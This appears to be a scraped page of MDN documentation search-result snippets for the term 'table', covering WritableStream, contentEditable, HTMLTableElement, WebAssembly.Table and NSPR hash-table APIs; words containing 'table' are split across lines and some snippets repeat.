the ready read-only property of the wri
tablestreamdefaultwriter interface returns a promise that resolves when the desired size of the stream's internal queue transitions from non-positive to positive, signaling that it is no longer applying backpressure. syntax var promise = wri
tablestreamdefaultwriter.ready; value a promise. example the following example shows two uses of the ready property. the first uses ready to ensure that the wri
tablestream is done writing and thus able to receive data before sending a binary chunk. the second also checks whether the the wri
tablestream is done writing, but this time because the writing must be finished before the writer can be closed. ...
...promise. example the following example shows two uses of the ready property. the first uses ready to ensure that the wri
tablestream is done writing and thus able to receive data before sending a binary chunk. the second also checks whether the the wri
tablestream is done writing, but this time because the writing must be finished before the writer can be closed. function sendmessage(message, wri
tablestream) { // defaultwriter is of type wri
tablestreamdefaultwriter var defaultwriter = wri
tablestream.getwriter(); var encoder = new textencoder(); var encoded = encoder.encode(message, {stream: true}); encoded.foreach(function(chunk) { // make sure the stream and its writer are able to // receive data. defaultwriter.ready .then(function() { defaultwriter.write(chu...
...lose() .then(function() { console.log("all chunks written"); }) .catch(function(err) { console.log("stream error: " + err); }); }); }); } specifications specification status comment streamsthe definition of 'ready' in that specification. living standard initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetready experimentalchrome full support ...
contenteditable - HTML: Hypertext Markup Language
the contentedi
table global attribute is an enumerated attribute indicating if the element should be edi
table by the user. if so, the browser modifies its widget to allow editing. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the attribute must take one of the following values: true or an empty string, which indicates that the element is edi
table. false, which indicates that the element is not edi
table. if the attribute is given without a value, like <label contentedi
table>example label</label>, its value is treated as an empty string. if this attribute is missing or its value is invalid, its value is inheri...
...alues: true or an empty string, which indicates that the element is edi
table. false, which indicates that the element is not edi
table. if the attribute is given without a value, like <label contentedi
table>example label</label>, its value is treated as an empty string. if this attribute is missing or its value is invalid, its value is inherited from its parent element: so the element is edi
table if its parent is edi
table. note that although its allowed values include true and false, this attribute is an enumerated one and not a boolean one. you can set the color used to draw the text insertion caret with the css caret-color property. specifications specification status comment html living standardthe definition of 'contentedi
table' in that specification. ...
... an enumerated one and not a boolean one. you can set the color used to draw the text insertion caret with the css caret-color property. specifications specification status comment html living standardthe definition of 'contentedi
table' in that specification. living standard no change from latest snapshot, html 5.2 html 5.2the definition of 'contentedi
table' in that specification. recommendation snapshot of html living standard, no change from html 5.1 html 5.1the definition of 'contentedi
table' in that specification. recommendation snapshot of html living standard, no change from html5 html5the definition of 'contentedi
table' in that specification. recommendation snapshot of html living standard, initial definiti...
406 Not Acceptable - HTTP
proactive content negotiation headers include: accept accept-charset accept-encoding accept-language in practice, this error is very rarely used. instead of responding using this error code, which would be cryptic for the end user and difficult to fix, servers ignore the relevant header and serve an actual page to the user. it is assumed that even if the user won't be completely happy, they will prefer this to an error code. ...
...d difficult to fix, servers ignore the relevant header and serve an actual page to the user. ...
...umed that even if the user won't be completely happy, they will prefer this to an error code. ...
WebAssembly.Table.prototype.get() - JavaScript
the get() prototype method of the webassembly.
table() object retrieves a function reference stored at a given index. syntax
table.get(index); parameters index the index of the function reference you want to retrieve. return value a function reference — this is an exported webassembly function, a javascript wrapper for an underlying wasm function. exceptions if index is greater than or equal to
table.prototype.length, a rangeerror is thrown. examples using get the following example (see
table.html on github, and view it live also) compiles and instantiates the loaded
table.wasm byte code using the webassembly.instantiatestreaming() method. it then retrieves the references stored in the exported
table. ...
...ions if index is greater than or equal to
table.prototype.length, a rangeerror is thrown. examples using get the following example (see
table.html on github, and view it live also) compiles and instantiates the loaded
table.wasm byte code using the webassembly.instantiatestreaming() method. it then retrieves the references stored in the exported
table. webassembly.instantiatestreaming(fetch('
table.wasm')) .then(function(obj) { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 }); note how you've got to include a second function invocation operator at the end of the accessor to actually retrieve the value stored inside the reference (e.g. get(0)() rather than get(0)) — it is a function rather than a simple value. specifications...
... include a second function invocation operator at the end of the accessor to actually retrieve the value stored inside the reference (e.g. get(0)() rather than get(0)) — it is a function rather than a simple value. specifications specification webassembly javascript interfacethe definition of 'get()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgetchrome full support ...
WebAssembly.Table.prototype.grow() - JavaScript
the grow() prototype method of the webassembly.
table object increases the size of the
table instance by a specified number of elements. syntax
table.grow(number); parameters number the number of elements you want to grow the
table by. return value the previous length of the
table. exceptions if the grow() operation fails for whatever reason, a rangeerror is thrown. examples using grow the following example creates a new webassembly
table instance with an initial size of 2 and a maximum size of 10. ...
...f elements. syntax
table.grow(number); parameters number the number of elements you want to grow the
table by. return value the previous length of the
table. exceptions if the grow() operation fails for whatever reason, a rangeerror is thrown. examples using grow the following example creates a new webassembly
table instance with an initial size of 2 and a maximum size of 10. var
table = new webassembly.
table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the
table by 1 with the following: console.log(
table.length); // "2" console.log(
table.grow(1)); // "2" console.log(
table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification. browser compatibili...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
Table Cellmap - Border Collapse - Archive of obsolete content
introduction this document describes the additional information that is stored for border collapse
tables in the cellmap. information storage each cellmap entry stores for
tables in the border collapse mode additional information about its top and left edge and its top left corner. as one can see from the following illustration this is enough to cover a whole
table. only the right most edge and the bottom most edge of a
table need to be stored in a different place. border for the top and left border we store the width and the owner of the border. the width is stored in pixel coordinates. ...
...ts top and left edge and its top left corner. as one can see from the following illustration this is enough to cover a whole
table. only the right most edge and the bottom most edge of a
table need to be stored in a different place. border for the top and left border we store the width and the owner of the border. the width is stored in pixel coordinates. ...
PL_HashTableAdd
add a new entry with the specified key and value to the hash
table. syntax #include <plhash.h> plhashentry *pl_hash
tableadd( plhash
table *ht, const void *key, void *value); parameters the function has the following parameters: ht a pointer to the the hash
table to which to add the entry. key a pointer to the key for the entry to be added. value a pointer to the value for the entry to be added. returns a pointer to the new entry. description add a new entry with the specified key and value to the hash
table. if an entry with the same key already exists in the
table, the freeentry function is invoked with the ht_free_value flag. you can write your freeentry function to free the value of the specified entry if the old value should be freed. the default freeentry function...
...try. description add a new entry with the specified key and value to the hash
table. if an entry with the same key already exists in the
table, the freeentry function is invoked with the ht_free_value flag. you can write your freeentry function to free the value of the specified entry if the old value should be freed. the default freeentry function does not free the value of the entry. pl_hash
tableadd returns null if there is not enough memory to create a new entry. it doubles the number of buckets if the
table is overloaded. ...
PL_HashTableEnumerateEntries
f function to be applied to each entry. arg argument for function f. returns the number of entries enumerated. description the entries are enumerated in an unspecified order. ...
... f function to be applied to each entry. arg argument for function f. returns the number of entries enumerated. description the entries are enumerated in an unspecified order. ...
PL_NewHashTable
create a new hash
table. syntax #include <plhash.h> plhash
table *pl_newhash
table( pruint32 numbuckets, plhashfunction keyhash, plhashcomparator keycompare, plhashcomparator valuecompare, const plhashallocops *allocops, void *allocpriv ); parameters the function has the following parameters: numbuckets the number of buckets in the hash
table. keyhash hash function. keycompare function used to compare keys of entries. valuecompare function used to compare keys of entries. allocops a pointer to a plhashallocops structure that must exist throughout the lifetime of the new hash
table. allocpriv passed as the first argument (pool). returns the new hash
table. description pl_newhash
table creates a new hash
table. the
table has at least 16 buckets. you can pass a v...
...ompare keys of entries. allocops a pointer to a plhashallocops structure that must exist throughout the lifetime of the new hash
table. allocpriv passed as the first argument (pool). returns the new hash
table. description pl_newhash
table creates a new hash
table. the
table has at least 16 buckets. you can pass a value of 0 as numbuckets to create the default number of buckets in the new
table. the arguments keycompare and valuecompare are functions of type plhashcomparator that the hash
table library functions use to compare the keys and the values of entries. the argument allocops points to a plhashallocops structure that must exist throughout the lifetime of the new hash
table. the hash
table library functions do not make a copy of this structure. when the allocation functions in a...
PRStaticLinkTable
a static link
table entry can be created by a client of the runtime so that other clients can access static or dynamic libraries transparently. the basic function on a dynamic library is to acquire a pointer to a function that the library exports. if, during initialization, such entries are manually created, then future attempts to link to the symbols can be treated in a consistent fashion. ...
...t of the runtime so that other clients can access static or dynamic libraries transparently. the basic function on a dynamic library is to acquire a pointer to a function that the library exports. if, during initialization, such entries are manually created, then future attempts to link to the symbols can be treated in a consistent fashion. syntax #include <prlink.h> typedef struct prstaticlink
table { const char *name; void (*fp)(); } prstaticlink
table; ...
nsIAccessibleTableCell
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview boolean isselected(); attributes attribute type description columnextent long return the number of columns occupied by this cell. the result differs from 1 if the specified cell spans multiple columns. read only. columnheadercells nsiarray return an array of column header cells for this cell. read only. columnindex long return column index of this cell. read only. rowextent long return the number of rows occupied by this accessible cell. ...
...ells for this cell. read only. columnindex long return column index of this cell. read only. rowextent long return the number of rows occupied by this accessible cell. the result differs from 1 if the specified cell spans multiple rows. read only. rowheadercells nsiarray return an array of row header cells for this cell. read only. rowindex long return row index of this cell. read only.
table nsiaccessible
table return host
table accessible. read only. methods isselected() boolean isselected(); parameters none. return value a boolean value indicating whether this cell is selected. ...
nsIMutableArray
as above, it is legal to add null elements to the array. note also that null elements can be created as a side effect of insertelementat(). conversely, if insertelementat() is never used, and null elements are never explicitly added to the array, then it is guaranteed that nsiarray.queryelementat() will never return a null value. ...
...as above, it is legal to add null elements to the array. note also that null elements can be created as a side effect of insertelementat(). conversely, if insertelementat() is never used, and null elements are never explicitly added to the array, then it is guaranteed that nsiarray.queryelementat() will never return a null value. ...
HTMLTableElement.caption - Web APIs
the html
tableelement.caption property represents the
table caption. if no caption element is associated with the
table, this property is null. syntax var string =
tableelement.caption; example if (
table.caption) { // do something with the caption } specifications specification status comment html living standardthe definition of 'html
tableelement.caption' in that specification. living standard no change from html5 html5the definition of 'html
tableelement.caption' in that specification. recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'html
tableelement.caption' in that specification. obsolete no change from document objec...
...t specification. recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'html
tableelement.caption' in that specification. obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'html
tableelement.caption' in that specification. obsolete initial definition. ...
HTMLTableElement.rows - Web APIs
the read-only html
tableelement property rows returns a live htmlcollection of all the rows in the
table, including the rows contained within any <thead>, <tfoot>, and <tbody> elements. although the property itself is read-only, the returned object is live and allows the modification of its content. syntax htmlcollectionobject =
table.rows; value an htmlcollection providing a live-updating list of the html
tablerowelement objects representing all of the <tr> elements contained in the
table. this provides quick access to all of the
table rows, without having to manually search for them. ...
... read-only, the returned object is live and allows the modification of its content. syntax htmlcollectionobject =
table.rows; value an htmlcollection providing a live-updating list of the html
tablerowelement objects representing all of the <tr> elements contained in the
table. this provides quick access to all of the
table rows, without having to manually search for them. example myrows = my
table.rows; firstrow = my
table.rows[0]; lastrow = my
table.rows.item(my
table.rows.length-1); this demonstrates how you can use both array syntax (line 2) and the htmlcollection.item() method (line 3) to obtain individual rows in the
table. specifications specification status comment html living standardthe definition of 'html
tableelement: rows' in that specification. li...
HTMLTableElement.tFoot - Web APIs
the html
tableelement.tfoot property represents the <tfoot> element of a <
table>. its value will be null if there is no such element. syntax html
tablesectionelementobject =
table.tfoot
table.tfoot = html
tablesectionelementobject example if (
table.tfoot == my_foot) { // ... } specifications specification status comment html living standardthe definition of 'html
tableelement.tfoot' in that specification. living standard no change from html5 html5the definition of 'html
tableelement.tfoot' in that specification. recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'html
tableelement.tfoot' in that specification. obsolete no chang...
...hat specification. recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'html
tableelement.tfoot' in that specification. obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'html
tableelement.tfoot' in that specification. obsolete initial definition. ...
HTMLTableElement.tHead - Web APIs
the html
tableelement.thead represents the <thead> element of a <
table> . its value will be null if there is no such element. syntax thead_element =
table.thead;
table.thead = thead_element; parameters thead_element is a html
tablesectionelement. example if (
table.thead == my_head_el) { // ... } specifications specification status comment html living standardthe definition of 'html
tableelement.thead' in that specification. living standard no change from html5 html5the definition of 'html
tableelement.thead' in that specification. ...
...ment html living standardthe definition of 'html
tableelement.thead' in that specification. living standard no change from html5 html5the definition of 'html
tableelement.thead' in that specification. recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'html
tableelement.thead' in that specification. obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'html
tableelement.thead' in that specification. obsolete initial definition. ...
HTMLTableElement.width - Web APIs
the html
tableelement.width property represents the desired width of the
table. syntax html
tableelement.width = width; var width = html
tableelement.width; where width is a string representing the width in number of pixels or as a percentage value. ...
... the html
tableelement.width property represents the desired width of the
table. syntax html
tableelement.width = width; var width = html
tableelement.width; where width is a string representing the width in number of pixels or as a percentage value. ...
WritableStream.abort() - Web APIs
the abort() method of the wri
tablestream interface aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded. syntax var promise = wri
tablestream.abort(reason); parameters reason a domstring providing a human-readable reason for the abort. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to abort is not a wri
tablestream, or it is locked. examples const wri
tablestream = new wri
tablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... ...
...eturn value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to abort is not a wri
tablestream, or it is locked. examples const wri
tablestream = new wri
tablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... // abort the stream later on, when required wri
tablestream.abort(); specifications specification status comment streamsthe definition of 'abort()' in that specification. living standard initial definition. ...
WritableStreamDefaultController - Web APIs
the wri
tablestreamdefaultcontroller interface of the the streams api represents a controller allowing control of a wri
tablestream's state. when constructing a wri
tablestream, the underlying sink is given a corresponding wri
tablestreamdefaultcontroller instance to manipulate. constructor none. wri
tablestreamdefaultcontroller instances are created automatically during wri
tablestream construction. properties none. methods wri
tablestreamdefaultcontroller.error() causes any future interactions with the associated stream to error. examples const wri
tablestream = new wri
tablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my stream is broken'); }, write(chunk, controller) { ... }, close(controller) ...
... examples const wri
tablestream = new wri
tablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my stream is broken'); }, write(chunk, controller) { ... }, close(controller) { ... }, abort(err) { ... } }); specifications specification status comment streamsthe definition of 'wri
tablestreamdefaultcontroller' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.abort() - Web APIs
the abort() method of the wri
tablestreamdefaultwriter interface aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded. if the writer is active, the abort() method behaves the same as that for the associated stream (wri
tablestream.abort()). if not, it returns a rejected promise. syntax var promise = wri
tablestreamdefaultwriter.abort(reason); parameters reason optional a domstring representing a human-readable reason for the abort. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to abort is not a wri
tablestream, or it is locked. ...
...turns a rejected promise. syntax var promise = wri
tablestreamdefaultwriter.abort(reason); parameters reason optional a domstring representing a human-readable reason for the abort. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to abort is not a wri
tablestream, or it is locked. examples const wri
tablestream = new wri
tablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = wri
tablestream.getwriter(); ... // abort the stream when desired writer.abort.then((reason) => { console.log(reason); }) specifications specification status comment streamsthe definition of 'abort()' in that specific...
nsIWritablePropertyBag
1.0 66 introduced gecko 1.8 inherits from: nsipropertybag last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void deleteproperty(in astring name); void setproperty(in astring name, in nsivariant value); methods deleteproperty() delete a property with the given name. void deleteproperty( in astring name ); parameters name property to delete. exceptions thrown ns_error_failure if a property with that name doesn't exist. setproperty() set a property with the given name to the given value. if a property already exists with the given name, it is overwritten. ...
nsIWritablePropertyBag2
xpcom/ds/nsiwri
tablepropertybag2.idlscrip
table this interface extends nsipropertybag2 with methods for setting properties. 1.0 66 introduced gecko 1.8 inherits from: nsipropertybag2 last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void setpropertyasacstring(in astring prop, in acstring value); void setpropertyasastring(in astring prop, in astring value); void setpropertyasautf8string(in astring prop, in autf8string value); void setpropertyasbool(in astring prop, in boolean value); void setpropertyasdouble(in astring prop, in double value); void setpropertyasint32(in astring prop, in print32 value); void setpropertyasint64(in astring prop, in print64 value); ...
AudioContext.createWaveTable() - Web APIs
the audiocontext method createwave
table() is now obsolete; you should instead use the method createperiodicwave(). it was the older method for creating a periodic waveform. ...
BluetoothCharacteristicProperties.writableAuxiliaries - Web APIs
the wri
tableauxiliaries read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if reliable writes to the characteristic descriptor is permitted. syntax var aboolean = bluetoothcharacteristicproperties.wri
tableauxiliaries; value a boolean. specifications specification status comment web bluetooththe definition of 'wri
tableauxiliaries' in that specification. draft initial definition. ...
HTMLElement.contentEditable - Web APIs
the contentedi
table property of the htmlelement interface specifies whether or not the element is edi
table. this enumerated attribute can have the following values: 'true' indicates that the element is contentedi
table. 'false' indicates that the element cannot be edited. 'inherit' indicates that the element inherits its parent's edi
table status. you can use the htmlelement.iscontentedi
table property to test the computed boolean value of this property. syntax edi
table = element.contentedi
table element.contentedi
table = 'true' specifications specification status comment html living standardthe definition of 'contentedi
table' in that specification. living standard initial definition ...
HTMLTableElement.align - Web APIs
the html
tableelement.align property represents the alignment of the
table. syntax html
tableelement.align = alignment; var alignment = html
tableelement.align; parameters alignment domstring with one of the following values: left center right example // set the alignmnet of a
table var t = document.getelementbyid('
tablea'); t.align = 'center'; specification w3c dom 2 html specification html
tableelement .align. ...
HTMLTableElement.border - Web APIs
the html
tableelement.border property represents the border width of the <
table> element. syntax html
tableelement.border = border; var border = html
tableelement.border; border is a string representing the width of the border in pixels. example // set the width of a
table border to 2 pixels var t = document.getelementbyid('
tablea'); t.border = '2'; specification w3c dom 2 html specification html
tableelement .border. this attribute is deprecated in html 4.0. ...
HTMLTableElement.cellPadding - Web APIs
the html
tableelement.cellpadding property represents the padding around the individual cells of the
table. syntax html
tableelement.cellpadding = padding; var padding = html
tableelement.cellpadding; padding is either a number of pixels (e.g. "10") or a percentage value (e.g. "10%"). example // set cell padding to 10 pixels let t = document.getelementbyid('
tablea'); t.cellpadding = '10'; specification w3c dom 2 html specification html
tableelement .cellpadding. ...
HTMLTableElement.cellSpacing - Web APIs
while you should instead use the css border-spacing property, the obsolete html
tableelement interface's cellspacing property represents the spacing around the individual <th> and <td> elements representing a
table's cells. any two cells are separated by the sum of the cellspacing of each of the two cells. syntax html
tableelement.cellspacing = spacing; var spacing = html
tableelement.cellspacing; value a domstring which is either a number of pixels (such as "10") or a percentage value (like "10%"). example this example sets cell spacing for a given
table to 10 pixels. var t = document.getelementbyid('
tablea'); t.cellspacing = "10"; specification w3c dom 2 html specification html
tableelement .cellspacing. ...
HTMLTableElement.createTFoot() - Web APIs
the html
tableelement.createtfoot() method returns the <tfoot> element associated with a given <
table>. if no footer exists in the
table, this methods creates it, and then returns it. note: if no footer exists, createtfoot() inserts a new footer directly into the
table. the footer does not need to be added separately as would be the case if document.createelement() had been used to create the new <tfoot> element. syntax html
tablesectionelement =
table.createtfoot(); return value html
tablesectionelement example let myfoot = my
table.createtfoot(); // now this should be true: myfoot == my
table.tfoot specifications specification status comment html living standardthe definition of 'html
tableelement: createtfoot' in that specification. living standard ...
HTMLTableElement.createTHead() - Web APIs
the html
tableelement.createthead() method returns the <thead> element associated with a given <
table>. if no header exists in the
table, this method creates it, and then returns it. note: if no header exists, createthead() inserts a new header directly into the
table. the header does not need to be added separately as would be the case if document.createelement() had been used to create the new <thead> element. syntax html
tablesectionelement =
table.createthead(); return value html
tablesectionelement example let myhead = my
table.createthead(); // now this should be true: myhead == my
table.thead specifications specification status comment html living standardthe definition of 'html
tableelement: createthead' in that specification. living standard ...
HTMLTableElement.deleteCaption() - Web APIs
the html
tableelement.deletecaption() method removes the <caption> element from a given <
table>. if there is no <caption> element associated with the
table, this method does nothing. syntax html
tableelement.deletecaption() example this example uses javascript to delete a
table's caption. html <
table> <caption>this caption will be deleted!</caption> <tr><td>cell 1.1</td><td>cell 1.2</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td></tr> </
table> javascript let
table = document.queryselector('
table');
table.deletecaption(); result specifications specification status comment html living standardthe definition of 'html
tableelement: deletecaption' in that specification. living standard ...
HTMLTableElement.deleteTFoot() - Web APIs
the html
tableelement.deletetfoot() method removes the <tfoot> element from a given <
table>. syntax html
tableelement.deletetfoot(); example this example uses javascript to delete a
table's footer. html <
table> <thead><th>name</th><th>score</th></thead> <tr><td>bob</td><td>541</td></tr> <tr><td>jim</td><td>225</td></tr> <tfoot><th>average</th><td>383</td></tfoot> </
table> javascript let
table = document.queryselector('
table');
table.deletetfoot(); result specifications specification status comment html living standardthe definition of 'html
tableelement: deletetfoot' in that specification. living standard ...
HTMLTableElement.deleteTHead() - Web APIs
the html
tableelement.deletethead() removes the <thead> element from a given <
table>. syntax html
tableelement.deletethead(); example this example uses javascript to delete a
table's header. html <
table> <thead><th>name</th><th>occupation</th></thead> <tr><td>bob</td><td>plumber</td></tr> <tr><td>jim</td><td>roofer</td></tr> </
table> javascript let
table = document.queryselector('
table');
table.deletethead(); result specifications specification status comment html living standardthe definition of 'html
tableelement: deletethead' in that specification. living standard ...
HTMLTableElement.tBodies - Web APIs
the html
tableelement.tbodies read-only property returns a live htmlcollection of the bodies in a <
table>. although the property is read-only, the returned object is live and allows the modification of its content. the collection returned includes implicit <tbody> elements. for example: <
table> <tr> <td>cell one</td> </tr> </
table> the html dom generated from the above html will have a <tbody> element even though the tags are not included in the source html. syntax htmlcollectionobject =
table.tbodies example this snippet gets the number of bodies in a
table. my
table.tbodies.length; specifications specification status comment html living standardthe definition of 'html
tableelement: tbodies' in that specification. living standard ...
ProgressEvent.lengthComputable - Web APIs
the progressevent.lengthcompu
table read-only property is a boolean flag indicating if the resource concerned by the progressevent has a length that can be calculated. if not, the progressevent.total property has no significant value. syntax flag = progressevent.lengthcompu
table specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcompu
table' in that specification. living standard ...
RTCIceCandidatePairStats.writable - Web APIs
the obsolete rtcicecandidatepairstats property wri
table reports whether or not the connection described by the candidate pair is wri
table. syntax iswri
table = rtcicecandidatepairstats.wri
table; value a boolean value which is true if the connection described by this candidate pair has received acknowledgement of receipt (ack) for at least one ice request and that stun consent hasn't expired. note: this property was removed from the specification in early 2017 because you can determine whether or not an incoming ice request is available to read by checking to see if responsesreceived is greater than 0 and that the time specified by consentexpiredtimestamp has not passed: if (icpstats.responsesreceived > 0 && icpstats.consentexpiredtimestamp < performance.now()) { /* at least one i...
WritableStream.locked - Web APIs
the locked read-only property of the wri
tablestream interface returns a boolean indicating whether the wri
tablestream is locked to a writer. syntax var locked = wri
tablestream.locked; value a boolean indicating whether or not the wri
table stream is locked. examples const wri
tablestream = new wri
tablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = wri
tablestream.getwriter(); wri
tablestream.locked // should return true, as the stream has been locked to a writer specifications specification status comment streamsthe definition of 'locked' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.closed - Web APIs
the closed read-only property of the wri
tablestreamdefaultwriter interface returns a promise that fulfills if the stream becomes closed or the writer's lock is released, or rejects if the stream errors. syntax var closed = wri
tablestreamdefaultwriter.closed; value a promise. examples const wri
tablestream = new wri
tablestream({ start(controller) { }, write(chunk, controller) { ... }, close(controller) { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = wri
tablestream.getwriter(); .. // check if the stream is closed writer.closed.then(() => { console.log('writer closed'); }) specifications specification status comment streamsthe definition of 'closed' in that specification. living standard initial definiti...
WritableStreamDefaultWriter.desiredSize - Web APIs
the desiredsize read-only property of the wri
tablestreamdefaultwriter interface returns the desired size required to fill the stream's internal queue. syntax var desiredsize = wri
tablestreamdefaultwriter.desiredsize; value an integer. note that this can be negative if the queue is over-full. the value will be null if the stream cannot be successfully written to (due to either being errored, or having an abort queued up), and zero if the stream is closed. exceptions typeerror the writer’s lock is released. examples const wri
tablestream = new wri
tablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = wri
tablestream.getwriter(); ... // return stream's desired size let size = writer.desiredsize; ...
WritableStreamDefaultWriter.releaseLock() - Web APIs
the releaselock() method of the wri
tablestreamdefaultwriter interface releases the writer's lock on the corresponding stream. after the lock is released, the writer is no longer active. if the associated stream is errored when the lock is released, the writer will appear errored in the same way from now on; otherwise, the writer will appear closed. syntax wri
tablestreamdefaultwritere.releaselock() parameters none. return value undefined. examples const wri
tablestream = new wri
tablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = wri
tablestream.getwriter(); ... // release writer's lock on the stream when desired writer.releaselock(); specifications specification status comment ...
WebAssembly.Table.prototype.length - JavaScript
the length prototype property of the webassembly.
table object returns the length of the
table, i.e. the number of elements in the
table. syntax
table.length; examples using length the following example creates a new webassembly
table instance with an initial size of 2 and a maximum size of 10. var
table = new webassembly.
table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the
table by 1 with the following: console.log(
table.length); // "2" console.log(
table.grow(1)); // "2" console.log(
table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'length' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to...
Index
rn code (that is, an nsresult value) indicates the success or failure of an operation, returning true or false respectively. 25 components.lastresult xpcom:language bindings, xpconnect no summary! 26 components.manager xpcom:language bindings, xpconnect components.manager is a convenience reflection of the global native component manager service. the scrip
table methods on the nsicomponentmanager interface can be called directly on this object. 27 components.results xpcom:language bindings, xpconnect components.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.msg (also at
table of errors), with the value of each corresponding to that constant's value. ...
...ilities to make things easier needsupdate, xpcom this chapter goes back over the code you've already created in the first part of the tutorial (see weblock1.cpp in the previous chapter) and uses xpcom tools that make coding a lot easier and more efficient. it also introduces a basic string type that is used with many of the apis in both xpcom and gecko. ...
...date, xpcom this chapter goes back over the code you've already created in the first part of the tutorial (see weblock1.cpp in the previous chapter) and uses xpcom tools that make coding a lot easier and more efficient. it also introduces a basic string type that is used with many of the apis in both xpcom and gecko. ...
...And 476 more matches
Index - Web APIs
ference page. 130 audiocontext.createmediastreamtracksource() api, audio, audiocontext, mediastreamtrack, mediastreamtrackaudiosource, method, node, reference, web audio api, createmediastreamtracksource, sound, source, track a mediastreamtrackaudiosourcenode object which acts as a source for audio data found in the specified audio track. 131 audiocontext.createwave
table() api, audiocontext, method, obsolete, reference, web audio api, createwave
table the audiocontext method createwave
table() is now obsolete; you should instead use the method createperiodicwave(). 132 audiocontext.getoutputtimestamp() api, audio, audiocontext, method, reference, web audio api, getoutputtimestamp, sound the getoutputtimestamp() property of the audioco...
...own the audio hardware when it will not be using an audio context for a while. 136 audiocontextlatencycategory api, audio, audio context, audiocontextlatencycategory, enum, interface, media, reference, type, web audio, web audio api, latency the audiocontextlatencycategory type is an enumerated set of strings which are used to select one of a number of default values for accep
table maximum latency of an audio context. 137 audiocontextoptions api, audio, audiocontext, audiocontextoptions, configuration, context, dictionary, interface, options, reference, settings, web audio api, samplerate the audiocontextoptions dictionary is used to specify configuration options when constructing a new audiocontext object to represent a graph of web audio nodes. ...
...ode, method, reference, web audio api, filter, getfrequencyresponse undefined 285 biquadfilternode.type api, biquadfilternode, property, reference, référence(2), type, web audio api a string (enum) representing a biquadfiltertype. 286 blob api, blob, file, file api, interface, raw, reference, data a blob object represents a file-like object of immu
table, raw data; they can be read as text or binary data, or converted into a readablestream so its methods can be used for processing the data. blobs can represent data that isn't necessarily in a javascript-native format. the file interface is based on blob, inheriting blob functionality and expanding it to support files on the user's system. 287 blob() api, blob, constructor, file api...
...And 186 more matches
Index - Archive of obsolete content
ary! 294 performance best practices in extensions add-ons, best practices, extensions, guide, needscontent, needsexample, performance no summary! 295 search extension tutorial (draft) extensions, search, tutorial many add-ons, for monetization or other reasons, change several search-related settings at install time. while this is generally considered accep
table behavior, considerable care must be taken to avoid violating the mozilla add-on guidelines or creating an adverse user experience. 296 security best practices in extensions add-ons, best practices, extensions, guide, security this document is intended as a guide for developers to promote best practices in securing your extension. your goal is to keep your users safe. some ite...
...the right place. after that we'll create a contents.rdf file describing the tinderstatus component for the chrome registry and an install.js script to perform the installation. finally we'll zip the files into an archive. 395 making it into a static overlay add-ons, extensions now that we have a working mozilla extension that shows tinderbox status, we need to make it distribu
table to other users. the two ways of doing that are to integrate it into the mozilla codebase (in which case it is no longer an extension but rather part of the default mozilla distribution) and to package it into an installer that users can run from within mozilla to add the extension to their mozilla installation. 396 prerequisites add-ons, extensions in order to complete this t...
